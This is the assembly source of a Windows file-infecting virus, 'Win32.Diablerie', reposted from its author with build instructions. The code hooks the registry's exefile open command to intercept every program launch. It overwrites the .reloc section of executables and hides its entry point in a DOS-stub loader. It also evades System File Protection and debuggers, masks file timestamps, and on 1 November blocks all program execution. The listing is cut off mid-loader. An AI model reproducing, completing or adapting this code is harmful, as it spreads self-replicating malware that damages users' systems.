Win32.Diablerie.asm

来源:互联网 发布:网络分离器有几个接口 编辑:程序博客网 时间:2024/06/05 00:44
comment $

赡哪哪哪哪哪哪哪哪?
?Win32.Diablerie 媚?
饶履哪哪哪哪哪哪哪??
饶哪哪哪哪哪哪哪哪?

Version: 0.7
Author: Dr. Watcom <drwatcom@jazzfree.com> (Valencia / SPAIN)
Compiler: Borland Turbo Assembler (version 5.0r / 32bit)
Type: PE-Infector (relocations overwriter)
Platform: Intel 80386 processor and compatibles
Systems: Win95, Win98, WinME, WinNT, Win2K
Size: 2848 bytes
Sys Hooking: Changes 'exefile' registry key to trap EXE files execution
Encryption: Not implemented (may be next version...)
EPO: Virus code is run from a loader within DOS stub, using SEH
Anti-AV: Not implemented.
Anti-Bait: Does not infect tiny files (with relocations < virus)
Anti-Debug: Detects app-level debuggers, tries to kill them with SEH
Payload: On 01/11 denies all program execution, shows credits


.Comments.

This is my second virus and it's a bit lame yet, as it has no
polymorphic engine and even uses no encryption, but I think it
implements a couple of nifty things: it obscures the entrypoint
by clearing it in the header, so the victims get executed from
the very beggining of the file (including the 'MZ' signature!!)
and then jmp to a loader located in the DOS stub code, which is
redone to keep compatibility (so running victims under MS-DOS
gives no error). This loader passes control to the virus using
a SEH frame to jmp.

The virus changes the 'HKCR/exefile/shell/open/command' key
to trap any program which gets executed, and then infects it by
overwriting .reloc section. It also detects (and tries to kill)
application-level debuggers.

The payload is very lame: only a lil' message box showing the
credits and denying all program execution on 01/11. The payload
text (as the virus name) was inspired by the roleplaying game
"Vampire: The Masquerade" (of course, the *real* game, not the
computer one!!)


.Compilation.

(Why would anybody want to compile this?)

tasm32 /m /ml diablerie.asm
tlink32 /Tpe /aa /c diablerie.obj, diablerie.exe,, import32.lib
pewrite diablerie.exe

$


;赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯突
;?Preprocessor ?
;韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图
.386 ; Instruction set to be used
.model flat ; No segmentation!

include win32.inc ; Windows structures and constants
include mz_pe.inc ; DOS (MZ) & Win32 (PE) exe layout

extrn ExitProcess :PROC ; Some APIs used by fake host code
extrn MessageBoxA :PROC ;
extrn _wsprintfA :PROC ;


;谀哪哪哪哪哪哪哪哪哪哪哪哪哪?
;?Useful equates and macros 媚?
;滥履哪哪哪哪哪哪哪哪哪哪哪哪??
; 滥哪哪哪哪哪哪哪哪哪哪哪哪哪?
DEBUG equ TRUE ; TRUE -> Do not infect files
CRLF equ <13,10>
SPAWN_NAME equ <'msdiab.exe'>
VIRUS_NAME equ <'Win32.Diablerie'>
VIRUS_VERSION equ <'v0.7'>
VIRUS_SIZE equ End - Start
OPCODE_JMP_SHORT equ 0ebh
PAYLOAD_MONTH equ 11
PAYLOAD_DAY equ 1

KERNEL32_WIN9X equ 0bff70000h ; Hardcoded values, in case we don't
KERNEL32_WINNT equ 077f00000h ; find Kernel32 by other ways. Those
KERNEL32_WIN2K equ 077e00000h ; values are then checked using SEH
KERNEL32_WINME equ 0bff60000h ; before using them, to avoid PF's


api MACRO name
call [ebp + name]
ENDM

PUT_SEH_HANDLER MACRO label
local @@skip_handler
call @@skip_handler
mov esp, [esp + 08h]
jmp label
@@skip_handler:
xor edx, edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
ENDM

RESTORE_SEH_HANDLER MACRO
xor edx, edx
pop dword ptr fs:[edx]
pop edx
ENDM

GENERATE_EXCEPTION MACRO
xor edx, edx
div edx
ENDM

STRLEN MACRO
push eax
push esi
push edi
mov edi, esi
xor ecx, ecx
dec ecx
xor eax, eax
repne scasb
mov ecx, edi
sub ecx, esi
pop edi
pop esi
pop eax
ENDM
;屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯


;赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯突
;?Host data ?
;韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图
; This data is used only by first-generation fake host code
.data
szTitle db VIRUS_NAME, 0
szTemplate db 'Virus ',VIRUS_NAME,' ',VIRUS_VERSION,' ','has been activated.', CRLF
db 'Current virus size is %i bytes (0x%X bytes).', CRLF, CRLF
db 'Have a nice day.', 0
szBait db 'bait1.exe', 0
;屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯


;赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯突
;?Virus code ?
;韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图
.code
Start:

;谀哪哪哪哪哪哪哪哪目
;?Setup everything 媚?
;滥履哪哪哪哪哪哪哪馁 ?
; 滥哪哪哪哪哪哪哪哪馁
call GetDelta ; Trivial stuff, don't you think?
GetDelta: ; Ok, I'll explain: this way you can
pop ebp ; get the code displacement (a.k.a.
sub ebp, offset GetDelta ; delta offset)
test ebp, ebp
jz FirstGenEntry

mov esp, [esp + 08h]
RESTORE_SEH_HANDLER

mov eax, [ebp + File_EntryPoint] ; Original EP (saved during infection)
mov [ebp + HostEntry], eax ; Store it in a safe place

FirstGenEntry:
cld ; We don't like surprises...

mov esi, [esp] ; To find Kernel32 we will use the
call FindKernel32 ; ret address in the stack, wich
jc ReturnToHost ; (hopefully) will point into it

call LocateAPIs
jc ReturnToHost

push size PROCESS_INFORMATION ;
push GMEM_FIXED or GMEM_ZEROINIT ;
api GlobalAlloc ;
mov [ebp + ProcessInfo], eax ;

push size STARTUPINFO ;
push GMEM_FIXED or GMEM_ZEROINIT ;
api GlobalAlloc ;
mov [ebp + StartupInfo], eax ;

mov [eax.SI_Size], size STARTUPINFO
push eax
api GetStartupInfo ; Get our startup information

test ebp, ebp
jz FakeHost

;谀哪哪哪哪哪哪?
;?Hands on!!! 媚?
;滥履哪哪哪哪哪??
; 滥哪哪哪哪哪哪?
call RNG_Init ; Init the Random Number Generator

call DetectDebuggers
jc ReturnToHost

call ParseCommandLine
jnc ExecutedFromReg

call SetupRegHook
jmp ReturnToHost

ExecutedFromReg:
mov esi, [ebp + CmdExefile]
IF DEBUG
push 1040h
lea edx, [ebp + szVirusName]
push edx
push esi
push NULL
api MessageBox
ELSE
call InfectFile
ENDIF

sub esp, size SYSTEMTIME
mov esi, esp
push esi
api GetSystemTime
add esp, size SYSTEMTIME

cmp [esi.ST_Month], PAYLOAD_MONTH
jne ExecuteVictim
cmp [esi.ST_Day], PAYLOAD_DAY
jne ExecuteVictim

push 1040h
lea edx, [ebp + szVirusName]
push edx
lea edx, [ebp + szVirusCredits]
push edx
push NULL
api MessageBox

IF DEBUG
ELSE
jmp ExitToWindows
ENDIF

ExecuteVictim:
mov esi, [ebp + CmdSpawn] ;
mov ebx, [ebp + ProcessInfo] ; must execute our command line
mov edx, [ebp + StartupInfo] ; as a new process
xor eax, eax

push ebx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
push esi
push eax
api CreateProcess

ExitToWindows:
push 0
api ExitProcess_

ReturnToHost:
test ebp, ebp
jz FakeHost_Quit
push [ebp + HostEntry]
ret
;屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯

;赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯突
;?Virus Subroutines ?
;韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图
; DetectDebuggers
; FindKernel32
; LocateAPIs
; ParseCommandLine
; SetupRegHook

;谀哪哪哪哪哪哪哪哪?
;?DetectDebuggers 媚?
;滥履哪哪哪哪哪哪哪??
; 滥哪哪哪哪哪哪哪哪?
; Detects application-level debuggers and tries to kill them with SEH
;
; Output:
; carry flag -> set if debugger persists, clear if not

DetectDebuggers:
pushad

PUT_SEH_HANDLER FD_Continue ; Use SEH to kill debuggers
xor eax, eax ; Generate a exception (divide by 0)
div eax ;
RESTORE_SEH_HANDLER ; Here some abnormal occured
jmp FD_Debugger_Found ; So lets quit
FD_Continue: ; Execution should resume at this pnt
RESTORE_SEH_HANDLER ; Remove handler

mov eax, fs:[20h] ; Detect application-level debugger
test eax, eax ; Is present?
jnz FD_Debugger_Found ; Quit!

popad ; No debuggers found, so restore
clc ; registers, clear carry flag and
ret ; return!

FD_Debugger_Found:
popad
stc
ret

;谀哪哪哪哪哪哪目
;?FindKernel32 媚?
;滥履哪哪哪哪哪馁 ?
; 滥哪哪哪哪哪哪馁
; Tries to find Kernel32 base address by scanning back from a certain address
; and, if that fails, by using some hardcoded values
;
; Input:
; esi -> must point somewhere into kernel32
; Output:
; var Kernel32 -> will point to Kernel32 base address
; carry flag -> set on error

FindKernel32:
pushad

and esi, 0FFFF0000h
mov ecx, 100h

FK32_Loop:
call TryAddress
jnc FK32_Success
sub esi, 010000h
loop FK32_Loop

FK32_Hardcodes:
mov esi, KERNEL32_WIN9X
call TryAddress
jnc FK32_Success

mov esi, KERNEL32_WINNT
call TryAddress
jnc FK32_Success

mov esi, KERNEL32_WIN2K
call TryAddress
jnc FK32_Success

mov esi, KERNEL32_WINME
call TryAddress
jnc FK32_Success

FK32_Fail:
popad
stc
ret

FK32_Success:
mov [ebp + Kernel32], esi
popad
clc
ret
;谀哪哪哪哪哪目
;?LocateAPIs 媚?
;滥履哪哪哪哪馁 ?
; 滥哪哪哪哪哪馁
; Gets all API addresses that our virus needs
;
; Output:
; carry flag -> set on error, clear on success

LocateAPIs:
pushad

mov ebx, [ebp + Kernel32] ; Having found Kernel32, we will get
lea esi, [ebp + Kernel_API_CRC32] ; an array of API addresses by their
lea edi, [ebp + Kernel_API_Addr] ; names CRC32, scanning the Kernel32
call GetAPIArray ; export table
jc LA_Fail ;

lea edx, [ebp + szUser32] ; More API's! This time we call
push edx ; LoadLibrary to get User32
api LoadLibrary ; Call API
mov ebx, eax ; ebx -> Module handle
lea esi, [ebp + User_API_CRC32] ; esi -> Pointer to CRC32 table
lea edi, [ebp + User_API_Addr] ; edi -> Where to store addresses
call GetAPIArray ; Call our procedure
jc LA_Fail ; Any problem? If so, bail out

lea edx, [ebp + szAdvapi32] ; More API's!
push edx ;
api LoadLibrary ;
mov ebx, eax ;
lea esi, [ebp + Advapi_API_CRC32] ;
lea edi, [ebp + Advapi_API_Addr] ;
call GetAPIArray ;
jc LA_Fail ; Any problem? If so, bail out

LA_Success:
popad
clc
ret

LA_Fail:
popad
stc
ret

;谀哪哪哪哪哪哪哪哪目
;?ParseCommandLine 媚?
;滥履哪哪哪哪哪哪哪馁 ?
; 滥哪哪哪哪哪哪哪哪馁
; Parses our commandline and checks for special params
;
; Output:
; var CmdLine
; var CmdSpawn
; var CmdExefile
; carry flag -> set if no special param found, clear otherwise

ParseCommandLine:
pushad

xor eax, eax
mov [ebp + CmdSpawn], eax
mov [ebp + CmdExefile], eax
api GetCommandLine ; Get our command line
mov [ebp + CmdLine], eax ; Save it

mov esi, eax ;
call GetNextParam ;
jc PCL_Quit ;

lodsb
dec al
jnz PCL_Quit
mov [ebp + CmdSpawn], esi

STRLEN
push ecx
push GMEM_FIXED
api GlobalAlloc
mov [ebp + CmdExefile], eax

mov edi, eax
STRLEN
rep movsb

mov esi, [ebp + CmdExefile]
call GetNextParam
jc PCL_Quit

dec esi
mov byte ptr [esi], 0

popad
clc
ret

PCL_Quit:
popad
stc
ret


;谀哪哪哪哪哪哪目
;?SetupRegHook 媚?
;滥履哪哪哪哪哪馁 ?
; 滥哪哪哪哪哪哪馁
; Copies our host to Windows directory and changes the 'exefile' key in reg

SetupRegHook:
pushad

sub esp, MAX_PATH
mov esi, esp
sub esp, MAX_PATH
mov edi, esp

push MAX_PATH
push edi
api GetWindowsDirectory

lea edx, [ebp + szSpawnFile]
push edx
push edi
api lstrcat

push MAX_PATH
push esi
push NULL
api GetModuleFileName

push FALSE
push edi
push esi
api CopyFile

lea esi, [ebp + szRegValue]
lea edi, [ebp + szRegKey]
mov edx, HKEY_CLASSES_ROOT
call ChangeRegString

add esp, MAX_PATH + MAX_PATH
popad
ret


;赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯突
;?Virus Functions ?
;韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图
; ChangeRegString
; GetAPIAddress
; GetAPIArray
; GetCRC32
; GetNextParam
; TryAddress

;谀哪哪哪哪哪哪哪哪?
;?ChangeRegString 媚?
;滥履哪哪哪哪哪哪哪??
; 滥哪哪哪哪哪哪哪哪?
; Shortcut to change a registry string
;
; Input:
; edi -> pointer to key to be changed
; esi -> pointer to key value
; edx -> hotkey

ChangeRegString:
pushad

sub esp, 4
mov ebx, esp

push ebx
push KEY_ALL_ACCESS
push 0
push edi
push edx
api RegOpenKeyEx

STRLEN
dec ecx
push ecx
push esi
push REG_SZ
push NULL
push dword ptr [ebx]
api RegSetValue

push dword ptr [ebx]
api RegCloseKey

add esp, 4
popad
ret


;谀哪哪哪哪哪哪哪?
;?GetAPIAddress 媚?
;滥履哪哪哪哪哪哪??
; 滥哪哪哪哪哪哪哪?
; Tries to get an API address by its CRC32 from the given module export table
;
; Input:
; esi -> module handle
; edx -> API's CRC32
; Output:
; eax -> API's address
; carry flag -> set on error, clear on success

GetAPIAddress:
pushad

mov edi, esi
add esi, [edi.MZ_lfanew]
add esi, 078h
lodsd
add eax, edi
mov esi, eax

mov eax, [esi.ED_NumberOfNames]
mov [ebp + ET_MaxNames], eax

mov eax, [esi.ED_AddressOfNames]
add eax, edi
mov [ebp + ET_PtrNames], eax

mov eax, [esi.ED_AddressOfFunctions]
add eax, edi
mov [ebp + ET_PtrAddresses], eax

mov eax, [esi.ED_AddressOfNameOrdinals]
add eax, edi
mov [ebp + ET_PtrOrdinals], eax

mov esi, [ebp + ET_PtrNames]
mov ecx, [ebp + ET_MaxNames]
xor eax, eax
mov [ebp + Count], eax

GA_GetNamePtr:
jecxz GA_Fail
lodsd
push esi
add eax, edi
mov esi, eax
xor ebx, ebx

push ecx
STRLEN
call GetCRC32
pop ecx
cmp eax, edx
jne GA_Next

mov ecx, [ebp + Count]

mov esi, [ebp + ET_PtrOrdinals]
shl ecx, 1
add esi, ecx
xor eax, eax
lodsw
mov esi, [ebp + ET_PtrAddresses]
shl eax, 2
add esi, eax
lodsd
add eax, edi
mov [ebp + ET_TmpAddress], eax
jmp GA_Success

GA_Next:
pop esi
dec ecx
inc [ebp + Count]
jmp GA_GetNamePtr

GA_Success:
pop esi
popad
mov eax, [ebp + ET_TmpAddress]
clc
ret

GA_Fail:
popad
stc
ret

;谀哪哪哪哪哪哪?
;?GetAPIArray 媚?
;滥履哪哪哪哪哪??
; 滥哪哪哪哪哪哪?
; Gets an array of API addresses from the given module
;
; Input:
; esi -> points to an array of CRC32 values, ending with a NULL dword
; edi -> points to destination of the address array
; ebx -> module handle
; Output:
; carry flag -> set on error, clear on success

GetAPIArray:

pushad

GAA_Loop:
lodsd
test eax, eax
jz GAA_Success
mov edx, eax
push esi
mov esi, ebx
call GetAPIAddress
jc GAA_Fail
stosd
pop esi
jmp GAA_Loop

GAA_Success:
popad
clc
ret

GAA_Fail:
popad
stc
ret

;谀哪哪哪哪目
;?GetCRC32 媚?
;滥履哪哪哪馁 ?
; 滥哪哪哪哪馁
; Computes CRC32 checksum of the given data
;
; Input:
; esi -> pointer to data
; ecx -> size of data in bytes
; Output:
; eax -> CRC32 checksum

GetCRC32:
pushad

mov edi, ecx
xor ecx, ecx
dec ecx
mov edx, ecx

CRC32_NextByte:
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8

CRC32_NextBit:
shr bx, 1
rcr ax, 1
jnc CRC32_NoCRC
xor ax, 08320h
xor bx, 0EDB8h

CRC32_NoCRC:
dec dh
jnz CRC32_NextBit
xor ecx, eax
xor edx, ebx
dec edi
jnz CRC32_NextByte
not edx
not ecx
mov eax, edx
rol eax,16
mov ax, cx

mov [ebp + CRC32], eax
popad
mov eax, [ebp + CRC32]
ret

;谀哪哪哪哪哪哪目
;?GetNextParam 媚?
;滥履哪哪哪哪哪馁 ?
; 滥哪哪哪哪哪哪馁
; Moves esi pointer to next parameter in a commandline-type string
; Uses SEH to avoid possible protection faults
;
; Input:
; esi -> pointer to a commandline-type string
;
; Output:
; esi -> points to next parameter
; carry flag -> set if string terminated, clear on success

GetNextParam:
push eax
push ecx

PUT_SEH_HANDLER GNP_Fail

mov cl, 20h ; Character to match (space)
GNP_SkipSpaces:
lodsb ;
test al, al ;
jz GNP_Fail ; If al is zero, string was terminated
cmp al, cl ;
je GNP_SkipSpaces ; There are remaining spaces, loop on

cmp al, 22h ; First char is a quote?
jne GNP_Find ; No: we must find a space
mov cl, 22h ; Yes: we must find the closing quote

GNP_Find:
lodsb
test al, al
jz GNP_Fail
cmp al, cl
jne GNP_Find

RESTORE_SEH_HANDLER
pop ecx
pop eax
clc
ret

GNP_Fail:
RESTORE_SEH_HANDLER
pop ecx
pop eax
stc
ret

;谀哪哪哪哪哪目
;?TryAddress 媚?
;滥履哪哪哪哪馁 ?
; 滥哪哪哪哪哪馁
; Checks if esi points to a valid PE base address (useful to find Kernel32),
; uses SEH to avoid possible faults, so the address may be anything
;
; Input:
; esi -> address to try
; Output:
; carry flag -> set on error, clear on success

TryAddress:
pushad

PUT_SEH_HANDLER TA_Fail

cmp word ptr [esi], 'ZM'
jne TA_Fail
add esi, [esi.MZ_lfanew]
cmp word ptr [esi], 'EP'
je TA_Success

TA_Success:
RESTORE_SEH_HANDLER
popad
clc
ret

TA_Fail:
RESTORE_SEH_HANDLER
popad
stc
ret

;赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯突
;?Randomizing functions ?
;韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图

;谀哪哪哪哪目
;?RNG_Init 媚?
;滥履哪哪哪馁 ?
; 滥哪哪哪哪馁
; Initialises the Random Number Generator
;

RNG_Init:
pushad

api GetTickCount
mov [ebp + RndSeed_1], eax
rol eax, 3
mov [ebp + RndSeed_2], eax
rol eax, 3
mov [ebp + RndSeed_3], eax
rol eax, 3
mov [ebp + RndSeed_4], eax
rol eax, 3
mov [ebp + RndSeed_5], eax
rol eax, 3
mov [ebp + RndSeed_6], eax

popad
ret

;谀哪哪哪哪哪哪哪?
;?RNG_GetRandom 媚?
;滥履哪哪哪哪哪哪??
; 滥哪哪哪哪哪哪哪?
; Returns a 32-bit random number
;
; Output:
; eax -> random number

RNG_GetRandom:
push edx
mov eax, [ebp+RndSeed_1]
mov edx, [ebp+RndSeed_2]
xor eax, [ebp+RndSeed_3]
xor edx, [ebp+RndSeed_4]
shrd eax, edx, 11h
push eax
mov eax, [ebp+RndSeed_5]
mov edx, [ebp+RndSeed_6]
and eax, 0FFFFFFFEh
add [ebp+RndSeed_1], eax
adc [ebp+RndSeed_2], edx
inc dword ptr [ebp+RndSeed_3]
inc dword ptr [ebp+RndSeed_4]
pop eax
pop edx
ret

;谀哪哪哪哪哪哪哪哪哪目
;?RNG_GetRandomRange 媚?
;滥履哪哪哪哪哪哪哪哪馁 ?
; 滥哪哪哪哪哪哪哪哪哪馁
; Returns a random number from 0 to [eax - 1]
;
; Input:
; eax -> maximum random number to get + 1
;
; Output:
; eax -> random number

RNG_GetRandomRange:
push ebx
mov ebx, eax
call RNG_GetRandom
RNG_R_Loop:
cmp eax, ebx ; Now, keep result in the given range
jl RNG_R_Ok ; It's in range, so we can return
shr eax, 1 ; It's not. We divide it by 2 and
jmp RNG_R_Loop ; loop to compare again
RNG_R_Ok:
pop ebx
ret ; Return!

;赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯突
;?Infection Code ?
;韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图

;谀哪哪哪哪哪目
;?InfectFile 媚?
;滥履哪哪哪哪馁 ?
; 滥哪哪哪哪哪馁
; Infects a Portable Executable by overwriting .reloc section
;
; Input:
; esi -> points to filename to infect
;

InfectFile:
pushad

mov [ebp + FileName], esi
mov [ebp + FileInfected], FALSE

mov edi, esi
mov ecx, MAX_PATH
xor eax, eax
cld
repnz scasb

mov eax, [edi-5]
or eax, 20202000h
cmp eax, 'exe.'
jne IF_Quit

; Avoid System File Protection
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪
lea edx, [ebp + szSfc] ; We have to avoid Win2K/WinME SFP
push edx ; Push a pointer to library name
api LoadLibrary ; Load it
test eax, eax ; If the library doesn't exist, we
jz IF_NotProtected ; can safely ignore SFP

lea edx, [ebp + szSfcProc] ; Pointer to function name
push edx ; Push it
push eax ; Push module handle
api GetProcAddress ; Call API
test eax, eax ; No function with that name, so we
jz IF_NotProtected ; proceed to infection

push esi ; Pointer to victim's filename
push NULL ; This parameter must be NULL
call eax ; Call SfcIsFileProtected
test eax, eax ; Not protected? Go ahead, continue
jz IF_NotProtected ; with infection
jmp IF_Quit ; File protected, we must quit

; Save file attributes and remove them
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
IF_NotProtected:
push esi ; Points to filename
api GetFileAttributes ; Call API
mov [ebp + FileAttribs], eax ; Save attributes for later use

push FILE_ATTRIBUTE_NORMAL ; Now we change the attributes of the
push esi ; file to FILE_ATTRIBUTE_NORMAL
api SetFileAttributes ; Call API


; Open a handle to the file
;滥哪哪哪哪哪哪哪哪哪哪哪哪?
IF_OpenFile:
xor eax, eax
push eax
push eax
push OPEN_EXISTING
push eax
push FILE_SHARE_READ
push GENERIC_READ or GENERIC_WRITE
push esi
api CreateFile
inc eax
jz IF_RestoreAttribs
dec eax
mov [ebp + FileHandle], eax

; Save creation/access/modify times
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
lea edx, [ebp + FileTime_Written]
push edx
lea edx, [ebp + FileTime_Accessed]
push edx
lea edx, [ebp + FileTime_Created]
push edx
push [ebp + FileHandle]
api GetFileTime

; Save file size
;滥哪哪哪哪哪哪哪
push NULL
push [ebp + FileHandle]
api GetFileSize
mov [ebp + FileSize], eax


; Open a file mapping object
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪
IF_CreateMapping:
xor eax, eax
push eax
push [ebp + FileSize]
push eax
push PAGE_READWRITE
push eax
push [ebp + FileHandle]
api CreateFileMapping
test eax, eax
jz IF_CloseFile
mov [ebp + FileMapping], eax


; Map a view of the file
;滥哪哪哪哪哪哪哪哪哪哪哪
IF_CreateView:
xor eax, eax
push dword ptr [ebp + offset FileSize]
push eax
push eax
push FILE_MAP_ALL_ACCESS
push [ebp + FileMapping]
api MapViewOfFile

test eax, eax
jz IF_CloseMapping
mov [ebp + FileView], eax
mov esi, eax

; Check for MZ/PE signatures
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪
cmp word ptr [esi], 'ZM'
jne IF_CloseMapping
add esi, [esi.MZ_lfanew]
cmp word ptr [esi], 'EP'
jne IF_CloseMapping

; Check for space for the EPO loader
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
mov esi, [ebp + FileView]
mov edi, esi
add esi, [esi.MZ_lfanew]
sub esi, edi
sub esi, size IMAGE_DOS_HEADER
cmp esi, SIZE_EPO_LOADER
jl IF_CloseView


; Find '.reloc' section
;滥哪哪哪哪哪哪哪哪哪哪?
mov esi, [ebp + FileView]
add esi, [esi.MZ_lfanew]

movzx eax, word ptr [esi.FH_NumberOfSections]
mov [ebp + File_Sections], eax

add esi, size IMAGE_FILE_HEADER

mov eax, [esi.OH_ImageBase]
mov [ebp + File_ImageBase], eax

mov eax, [esi.OH_AddressOfEntryPoint]
add eax, [ebp + File_ImageBase]
mov [ebp + File_EntryPoint], eax

mov eax, [esi.OH_NumberOfRvaAndSizes]
imul ecx, eax, size IMAGE_DATA_DIRECTORY
add esi, size IMAGE_OPTIONAL_HEADER
add esi, ecx

mov eax, [ebp + File_Sections]

IF_TrySection:
cmp dword ptr [esi], 'ler.'
jne IF_NextSection
add esi, 2
cmp dword ptr [esi], 'cole'
jne IF_NextSection
sub esi, 2
jmp IF_FoundRelocs

IF_NextSection:
dec eax
test eax, eax
jz IF_CloseView
add esi, size IMAGE_SECTION_HEADER
jmp IF_TrySection

IF_FoundRelocs:
cmp [esi.SH_SizeOfRawData], VIRUS_SIZE
jl IF_CloseView

cmp [esi.SH_Characteristics], /
IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE
je IF_CloseView

mov [ebp + File_SectionHeader], esi
mov eax, [esi.SH_VirtualAddress]
mov [ebp + File_SectionRVA], eax
mov eax, [esi.SH_PointerToRawData]
mov [ebp + File_SectionRaw], eax
mov eax, [esi.SH_SizeOfRawData]
mov [ebp + File_SectionSize], eax


; Copy virus body
;滥哪哪哪哪哪哪哪?
IF_CopyVirusBody:

mov edi, [ebp + File_SectionRaw]
add edi, [ebp + FileView]
lea esi, [ebp + Start]

mov ecx, VIRUS_SIZE
cld
rep movsb

mov ecx, [ebp + File_SectionSize]
sub ecx, VIRUS_SIZE
xor eax, eax
rep stosb

; Insert EPO loader into DOS header/stub
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
IF_InsertLoader:
xor eax, eax
mov edi, [ebp + FileView] ; Start of file
mov [edi.MZ_ip], ax ; Clear DOS entry point
mov [edi.MZ_lfarlc], ax ; Clear DOS relocations

add edi, 2 ; Skip 'MZ' signature
mov al, OPCODE_JMP_SHORT ; Setup a JMP SHORT <DISP>
stosb ; Insert JMP SHORT opcode
mov eax, size IMAGE_DOS_HEADER ; Calc destination: after MZ header
add eax, 2 ; skipping first 2 bytes of code
sub al, 4 ; but relative to next EIP!
stosb ; Insert displacement byte

mov eax, [ebp + File_ImageBase] ; Calculate virus entry point:
add eax, [ebp + File_SectionRVA] ; image base + virus section RVA

lea edx, [ebp + EntryPoint] ; Save virus entry point into our
mov [edx], eax ; loader code

mov edi, [ebp + FileView] ; Start of file
add edi, size IMAGE_DOS_HEADER ; Go beyond MZ header
lea esi, [ebp + EPOLoader] ; Address of our loader code
mov ecx, SIZE_EPO_LOADER ; Size of code
rep movsb ; Store it!


; Update headers
;滥哪哪哪哪哪哪哪
IF_UpdateHeaders:
mov edi, [ebp + FileView]
add edi, [edi.MZ_lfanew]
add edi, size IMAGE_FILE_HEADER
xor eax, eax ; Clear entry point (reset to zero)
mov [edi.OH_AddressOfEntryPoint], eax

mov esi, [ebp + File_SectionHeader]
mov [esi.SH_Characteristics], /
IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE

mov [ebp + FileInfected], TRUE ; Infection complete

; Unmap the view
;滥哪哪哪哪哪哪哪
IF_CloseView:
push [ebp + FileView]
api UnmapViewOfFile

; Close the file mapping object
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
IF_CloseMapping:
push [ebp + FileMapping]
api CloseHandle

; Close the file handle, restore times
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
IF_CloseFile:
IF DEBUG
push [ebp + FileHandle]
api CloseHandle
ELSE
lea edx, [ebp + FileTime_Written]
push edx
lea edx, [ebp + FileTime_Accessed]
push edx
lea edx, [ebp + FileTime_Created]
push edx
push [ebp + FileHandle]
api SetFileTime

push [ebp + FileHandle]
api CloseHandle
ENDIF

; Restore the file attributes
;滥哪哪哪哪哪哪哪哪哪哪哪哪哪?
IF_RestoreAttribs:
push [ebp + FileAttribs]
push [ebp + FileName]
api SetFileAttributes

IF_Quit:
popad
ret
;屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯


;赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯突
;?EPO - stub program ?
;韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图
; Code to replace victim's DOS stub
;
EPOLoader:
db 0Ebh ; jmps ...
db MSDOS_Code-WIN32_Code ; (relative displacement)
WIN32_Code:
db 052h ; push edx
db 045h ; inc ebp
db 068h ; push ...
EntryPoint:
dd 000000000h ;
db 033h, 0C0h ; xor eax, eax
db 064h, 0FFh, 030h ; push fs:[eax]
db 064h, 089h, 020h ; mov fs:[eax], esp
db 0F7h, 0F0h ; div eax
MSDOS_Code:
db 0BAh ; mov dx ...
dw MSDOS_String-EPOLoader ; (offset string)
db 00Eh ; push cs
